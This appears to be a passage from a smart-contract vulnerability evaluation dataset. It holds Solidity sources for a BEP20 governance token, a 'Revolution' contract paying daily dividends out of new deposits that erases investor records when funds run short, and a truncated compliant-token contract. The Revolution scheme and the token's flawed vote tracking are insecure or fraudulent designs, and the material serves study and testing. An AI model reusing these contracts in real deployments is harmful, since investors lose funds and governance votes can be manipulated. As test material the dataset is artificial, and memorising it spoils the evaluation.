// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// LotusToken with Governance.
contract LotusToken is BEP20('Lotus Finance', 'LOTUS') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "LOTUS::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "LOTUS::delegateBySig: invalid nonce");
require(now <= expiry, "LOTUS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "LOTUS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying LOTUS (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "LOTUS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 249,451 | 10,525 |
6b5e054561091eb32a45e8d7d68fd7bc3cc14dc9aef920b4f59f030ea5fd8493
| 18,179 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2e60cddf69ff99bee7e01e51b8b529dcd15c219a.sol
| 4,725 | 15,904 |
pragma solidity ^0.4.25;
contract InvestorsStorage {
struct investor {
uint keyIndex;
uint value;
uint paymentTime;
uint refBonus;
}
struct itmap {
mapping(address => investor) data;
address[] keys;
}
itmap private s;
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
s.keys.length++;
}
function insert(address addr, uint value) public onlyOwner returns (bool) {
uint keyIndex = s.data[addr].keyIndex;
if (keyIndex != 0) return false;
s.data[addr].value = value;
keyIndex = s.keys.length++;
s.data[addr].keyIndex = keyIndex;
s.keys[keyIndex] = addr;
return true;
}
function investorFullInfo(address addr) public view returns(uint, uint, uint, uint) {
return (s.data[addr].keyIndex,
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refBonus);
}
function investorBaseInfo(address addr) public view returns(uint, uint, uint) {
return (s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refBonus);
}
function investorShortInfo(address addr) public view returns(uint, uint) {
return (s.data[addr].value,
s.data[addr].refBonus);
}
function addRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].refBonus += refBonus;
return true;
}
function addValue(address addr, uint value) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].value += value;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].paymentTime = paymentTime;
return true;
}
function setRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].refBonus = refBonus;
return true;
}
function keyFromIndex(uint i) public view returns (address) {
return s.keys[i];
}
function contains(address addr) public view returns (bool) {
return s.data[addr].keyIndex > 0;
}
function size() public view returns (uint) {
return s.keys.length;
}
function iterStart() public pure returns (uint) {
return 1;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Percent {
// Solidity automatically throws when dividing by 0
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
contract Accessibility {
enum AccessRank { None, Payout, Paymode, Full }
mapping(address => AccessRank) internal m_admins;
modifier onlyAdmin(AccessRank r) {
require(m_admins[msg.sender] == r || m_admins[msg.sender] == AccessRank.Full,
"access denied");
_;
}
event LogProvideAccess(address indexed whom, uint when, AccessRank rank);
constructor() public {
m_admins[msg.sender] = AccessRank.Full;
emit LogProvideAccess(msg.sender, now, AccessRank.Full);
}
function provideAccess(address addr, AccessRank rank) public onlyAdmin(AccessRank.Full) {
require(rank <= AccessRank.Full, "invalid access rank");
require(m_admins[addr] != AccessRank.Full, "cannot change full access rank");
if (m_admins[addr] != rank) {
m_admins[addr] = rank;
emit LogProvideAccess(addr, now, rank);
}
}
function access(address addr) public view returns(AccessRank rank) {
rank = m_admins[addr];
}
}
contract PaymentSystem {
enum Paymode { Push, Pull }
struct PaySys {
uint latestTime;
uint latestKeyIndex;
Paymode mode;
}
PaySys internal m_paysys;
modifier atPaymode(Paymode mode) {
require(m_paysys.mode == mode, "pay mode does not the same");
_;
}
event LogPaymodeChanged(uint when, Paymode indexed mode);
function paymode() public view returns(Paymode mode) {
mode = m_paysys.mode;
}
function changePaymode(Paymode mode) internal {
require(mode <= Paymode.Pull, "invalid pay mode");
if (mode == m_paysys.mode) return;
if (mode == Paymode.Pull) require(m_paysys.latestTime != 0, "cannot set pull pay mode if latest time is 0");
if (mode == Paymode.Push) m_paysys.latestTime = 0;
m_paysys.mode = mode;
emit LogPaymodeChanged(now, m_paysys.mode);
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
contract Revolution is Accessibility, PaymentSystem {
using Percent for Percent.percent;
using SafeMath for uint;
using Zero for *;
using ToAddress for *;
// investors storage - iterable map;
InvestorsStorage private m_investors;
mapping(address => bool) private m_referrals;
bool private m_nextWave;
// automatically generates getters
address public adminAddr;
address public payerAddr;
uint public waveStartup;
uint public investmentsNum;
uint public constant minInvesment = 10 finney; // 0.01 eth
uint public constant maxBalance = 333e5 ether; // 33,300,000 eth
uint public constant pauseOnNextWave = 168 hours;
// percents
Percent.percent private m_dividendsPercent = Percent.percent(333, 10000); // 333/10000*100% = 3.33%
Percent.percent private m_adminPercent = Percent.percent(1, 10); // 1/10*100% = 10%
Percent.percent private m_payerPercent = Percent.percent(7, 100); // 7/100*100% = 7%
Percent.percent private m_refPercent = Percent.percent(3, 100); // 3/100*100% = 3%
// more events for easy read from blockchain
event LogNewInvestor(address indexed addr, uint when, uint value);
event LogNewInvesment(address indexed addr, uint when, uint value);
event LogNewReferral(address indexed addr, uint when, uint value);
event LogPayDividends(address indexed addr, uint when, uint value);
event LogPayReferrerBonus(address indexed addr, uint when, uint value);
event LogBalanceChanged(uint when, uint balance);
event LogAdminAddrChanged(address indexed addr, uint when);
event LogPayerAddrChanged(address indexed addr, uint when);
event LogNextWave(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notOnPause() {
require(waveStartup+pauseOnNextWave <= now, "pause on next wave not expired");
_;
}
constructor() public {
adminAddr = msg.sender;
emit LogAdminAddrChanged(msg.sender, now);
payerAddr = msg.sender;
emit LogPayerAddrChanged(msg.sender, now);
nextWave();
waveStartup = waveStartup.sub(pauseOnNextWave);
}
function() public payable {
// investor get him dividends
if (msg.value == 0) {
getMyDividends();
return;
}
// sender do invest
address a = msg.data.toAddr();
address[3] memory refs;
if (a.notZero()) {
refs[0] = a;
doInvest(refs);
} else {
doInvest(refs);
}
}
function investorsNumber() public view returns(uint) {
return m_investors.size()-1;
// -1 because see InvestorsStorage constructor where keys.length++
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function payerPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_payerPercent.num, m_payerPercent.den);
}
function dividendsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent.num, m_dividendsPercent.den);
}
function adminPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminPercent.num, m_adminPercent.den);
}
function referrerPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refPercent.num, m_refPercent.den);
}
function investorInfo(address addr) public view returns(uint value, uint paymentTime, uint refBonus, bool isReferral) {
(value, paymentTime, refBonus) = m_investors.investorBaseInfo(addr);
isReferral = m_referrals[addr];
}
function latestPayout() public view returns(uint timestamp) {
return m_paysys.latestTime;
}
function getMyDividends() public notOnPause atPaymode(Paymode.Pull) balanceChanged {
// check investor info
InvestorsStorage.investor memory investor = getMemInvestor(msg.sender);
require(investor.keyIndex > 0, "sender is not investor");
if (investor.paymentTime < m_paysys.latestTime) {
assert(m_investors.setPaymentTime(msg.sender, m_paysys.latestTime));
investor.paymentTime = m_paysys.latestTime;
}
// calculate days after latest payment
uint256 daysAfter = now.sub(investor.paymentTime).div(24 hours);
require(daysAfter > 0, "the latest payment was earlier than 24 hours");
assert(m_investors.setPaymentTime(msg.sender, now));
// check enough eth
uint value = m_dividendsPercent.mul(investor.value) * daysAfter;
if (address(this).balance < value + investor.refBonus) {
nextWave();
return;
}
// send dividends and ref bonus
if (investor.refBonus > 0) {
assert(m_investors.setRefBonus(msg.sender, 0));
sendDividendsWithRefBonus(msg.sender, value, investor.refBonus);
} else {
sendDividends(msg.sender, value);
}
}
function doInvest(address[3] refs) public payable notOnPause balanceChanged {
require(msg.value >= minInvesment, "msg.value must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
uint value = msg.value;
// ref system works only once for sender-referral
if (!m_referrals[msg.sender]) {
// level 1
if (notZeroNotSender(refs[0]) && m_investors.contains(refs[0])) {
uint reward = m_refPercent.mul(value);
assert(m_investors.addRefBonus(refs[0], reward)); // referrer 1 bonus
m_referrals[msg.sender] = true;
value = m_dividendsPercent.add(value); // referral bonus
emit LogNewReferral(msg.sender, now, value);
// level 2
if (notZeroNotSender(refs[1]) && m_investors.contains(refs[1]) && refs[0] != refs[1]) {
assert(m_investors.addRefBonus(refs[1], reward)); // referrer 2 bonus
// level 3
if (notZeroNotSender(refs[2]) && m_investors.contains(refs[2]) && refs[0] != refs[2] && refs[1] != refs[2]) {
assert(m_investors.addRefBonus(refs[2], reward)); // referrer 3 bonus
}
}
}
}
// commission
adminAddr.transfer(m_adminPercent.mul(msg.value));
payerAddr.transfer(m_payerPercent.mul(msg.value));
// write to investors storage
if (m_investors.contains(msg.sender)) {
assert(m_investors.addValue(msg.sender, value));
} else {
assert(m_investors.insert(msg.sender, value));
emit LogNewInvestor(msg.sender, now, value);
}
if (m_paysys.mode == Paymode.Pull)
assert(m_investors.setPaymentTime(msg.sender, now));
emit LogNewInvesment(msg.sender, now, value);
investmentsNum++;
}
function payout() public notOnPause onlyAdmin(AccessRank.Payout) atPaymode(Paymode.Push) balanceChanged {
if (m_nextWave) {
nextWave();
return;
}
if (m_paysys.latestKeyIndex == m_investors.iterStart()) {
require(now>m_paysys.latestTime+12 hours, "the latest payment was earlier than 12 hours");
m_paysys.latestTime = now;
}
uint i = m_paysys.latestKeyIndex;
uint value;
uint refBonus;
uint size = m_investors.size();
address investorAddr;
// gasleft and latest key index - prevent gas block limit
for (i; i < size && gasleft() > 50000; i++) {
investorAddr = m_investors.keyFromIndex(i);
(value, refBonus) = m_investors.investorShortInfo(investorAddr);
value = m_dividendsPercent.mul(value);
if (address(this).balance < value + refBonus) {
m_nextWave = true;
break;
}
if (refBonus > 0) {
require(m_investors.setRefBonus(investorAddr, 0), "internal error");
sendDividendsWithRefBonus(investorAddr, value, refBonus);
continue;
}
sendDividends(investorAddr, value);
}
if (i == size)
m_paysys.latestKeyIndex = m_investors.iterStart();
else
m_paysys.latestKeyIndex = i;
}
function setAdminAddr(address addr) public onlyAdmin(AccessRank.Full) {
addr.requireNotZero();
if (adminAddr != addr) {
adminAddr = addr;
emit LogAdminAddrChanged(addr, now);
}
}
function setPayerAddr(address addr) public onlyAdmin(AccessRank.Full) {
addr.requireNotZero();
if (payerAddr != addr) {
payerAddr = addr;
emit LogPayerAddrChanged(addr, now);
}
}
function setPullPaymode() public onlyAdmin(AccessRank.Paymode) atPaymode(Paymode.Push) {
changePaymode(Paymode.Pull);
}
function getMemInvestor(address addr) internal view returns(InvestorsStorage.investor) {
(uint a, uint b, uint c, uint d) = m_investors.investorFullInfo(addr);
return InvestorsStorage.investor(a, b, c, d);
}
function notZeroNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function sendDividends(address addr, uint value) private {
if (addr.send(value)) emit LogPayDividends(addr, now, value);
}
function sendDividendsWithRefBonus(address addr, uint value, uint refBonus) private {
if (addr.send(value+refBonus)) {
emit LogPayDividends(addr, now, value);
emit LogPayReferrerBonus(addr, now, refBonus);
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
changePaymode(Paymode.Push);
m_paysys.latestKeyIndex = m_investors.iterStart();
investmentsNum = 0;
waveStartup = now;
m_nextWave = false;
emit LogNextWave(now);
}
}
| 217,486 | 10,526 |
ac7762857512b75d1cf592715c723ff94e002827a97ef1af1bf17491f7ed3b05
| 24,334 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x7145c2f2d3900e85a3270ddba8468a77738dc6fe.sol
| 3,655 | 14,883 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b; //alicia 2
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
constructor() public {
validator = msg.sender;
}
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
function setNewValidator(address newValidator) public onlyValidator {
require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract DetailedERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract CompliantToken is Validator, DetailedERC20, MintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
